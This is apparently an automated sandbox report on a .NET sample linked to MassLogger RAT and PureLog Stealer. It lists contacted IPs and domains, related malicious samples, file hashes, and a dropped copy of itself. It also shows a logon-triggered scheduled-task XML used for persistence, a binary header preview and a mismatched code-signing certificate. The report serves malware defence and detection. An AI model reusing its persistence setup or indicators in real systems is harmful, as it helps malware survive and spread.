Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:56:55	API Interceptor	1x Sleep call for process: MB263350411AE_1.scr.exe modified
07:56:57	API Interceptor	12x Sleep call for process: powershell.exe modified
07:56:58	API Interceptor	1x Sleep call for process: nDVstwLnVvg.exe modified
12:56:57	Task Scheduler	Run new task: nDVstwLnVvg path: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.1	MACHINE SPECIFICATIONS.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	1001-13.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/utww/
	trow.exe	Get hash	malicious	Unknown	Browse	www.wifi4all.nl/
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	www.rafconstrutora.online/0xli/
	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	www.kkpmoneysocial.top/86am/
	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php
193.122.130.0	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	dZMT94YYwO.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rwlPT9YJt0.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	rOrders.scr.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	SOA.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
reallyfreegeoip.org	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	rOrders.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	SOA.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	VRO.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	104.26.13.205
	VRO.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.67.74.152
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
ORACLE-BMC-31898US	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	http://ubiquitous-twilight-c9292b.netlify.app/	Get hash	malicious	Unknown	Browse	129.213.176.209
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	SOA.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	trow.exe	Get hash	malicious	Unknown	Browse	147.154.3.56
	nfKqna8HuC.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	rOrders.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	SOA.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1

Process:	C:\Users\user\Desktop\MB263350411AE_1.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nDVstwLnVvg.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380285623575084
Encrypted:	false
SSDEEP:	48:+WSU4xympjgs4RIoU99tK8NPZHUl7u1iMuge//ZLv0Uyus:+LHxvCsIfA2KRHmOug4v1s
MD5:	1C89C8A3990612CACC689D040645A6B8
SHA1:	C49EF47A626B65297DEF7BBCD227DBFF6FDA199B
SHA-256:	9EBD52015C266B88B16EC670B7DF1A9D8DE7D819026E1D57B9BCB1A34344D3A7
SHA-512:	38FC87F59CB6F9EBEB64EE23255672ECF9C4509EABEDC8050DD2F111D1E5D19A5A857DA25091559F685CEE49BB712798ABBCD7C9E10CC30909B1FFF193EC730D
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aofbqg1.hr4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htqjajva.q20.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_powqw24z.c0j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qivsc5nn.s4r.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp1488.tmp

Download File

Process:	C:\Users\user\Desktop\MB263350411AE_1.scr.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1577
Entropy (8bit):	5.111166461994292
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtagxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTrv
MD5:	A0B7E442D44FF986F0EC57347DA31814
SHA1:	347E20765D4A9C996DFA0FB290953D0021E658D3
SHA-256:	D8F76345B7E351DAA7139F735C508D46CB1A57F78C1ACA507F9D6817B910F18C
SHA-512:	E8B6B470AA8AE878BFC73749DC4D75521DBD004CABE2715EDE773D988436D4835B19C8B1B8075AEF805A1C4C5AB4B2A75F66229C921EACE4C04BE4DB9BAC6DF7
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1577
Entropy (8bit):	5.111166461994292
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtagxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTrv
MD5:	A0B7E442D44FF986F0EC57347DA31814
SHA1:	347E20765D4A9C996DFA0FB290953D0021E658D3
SHA-256:	D8F76345B7E351DAA7139F735C508D46CB1A57F78C1ACA507F9D6817B910F18C
SHA-512:	E8B6B470AA8AE878BFC73749DC4D75521DBD004CABE2715EDE773D988436D4835B19C8B1B8075AEF805A1C4C5AB4B2A75F66229C921EACE4C04BE4DB9BAC6DF7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Download File

Process:	C:\Users\user\Desktop\MB263350411AE_1.scr.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	578056
Entropy (8bit):	7.630220307130998
Encrypted:	false
SSDEEP:	12288:0YRxA4Y5lyA/BxSPCFrbVZ4vKb6II6fcqQ236XRNBIFVkR:rRYpgKmL6tIXRv2o
MD5:	E10205715F674C1E004C6DBFCED1D278
SHA1:	60A8841A8D7E074A81ED2F6A49B853B83EF220CA
SHA-256:	EFD86329975988F4C9E3178D139E82558D9AB07BB53DEA0C5B6D0B234BB5CD35
SHA-512:	3C67CA7D358C2C6D1AE402B77F5759C3F8C6F935E639299000B8F396703284CBBD2C050365ACDF2F61279BB789EEB0E3377E06E94C98BD75CFBBE13F231F32A3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32% Antivirus: Virustotal, Detection: 36%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{.................0.................. ........@.. ....................................@.................................k...O........................6..............p............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......hK..\=......9...................................................0..L.........}.....(.......(......(............s......(.....o......( ....o!.....(".....0..K.........}........(#........($.....,5...(............s......(.....o......(.....o!....8.....r...p.J...(%...o&...tJ.......('..........9.....s.........s(...s)...o.......o+...(,.......o-...(........o/...(0.......o1...(2.......o3...(4.......o5...(6.........(7.....(......+....s(...s)...(*........(8...........s......(..

C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\MB263350411AE_1.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.630220307130998
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MB263350411AE_1.scr.exe
File size:	578'056 bytes
MD5:	e10205715f674c1e004c6dbfced1d278
SHA1:	60a8841a8d7e074a81ed2f6a49b853b83ef220ca
SHA256:	efd86329975988f4c9e3178d139e82558d9ab07bb53dea0c5b6d0b234bb5cd35
SHA512:	3c67ca7d358c2c6d1ae402b77f5759c3f8c6f935e639299000b8f396703284cbbd2c050365acdf2f61279bb789eeb0e3377e06e94c98bd75cfbbe13f231f32a3
SSDEEP:	12288:0YRxA4Y5lyA/BxSPCFrbVZ4vKb6II6fcqQ236XRNBIFVkR:rRYpgKmL6tIXRv2o
TLSH:	3DC40154321AE902C0960B701A72D3F96B359E99BA20C353DFE97EFFBD367812640352
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{.................0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x48b0be
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x991B1B7B [Fri May 26 05:09:15 2051 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
call far 0000h : 003E9999h
aas
int CCh
dec esp
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8b06b	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8c000	0x5e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x89c00	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8989c	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x890d4	0x89200	a2f64e1954e02b69fa4c6cd00bd720d1	False	0.8936517206016409	data	7.631573035742171	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
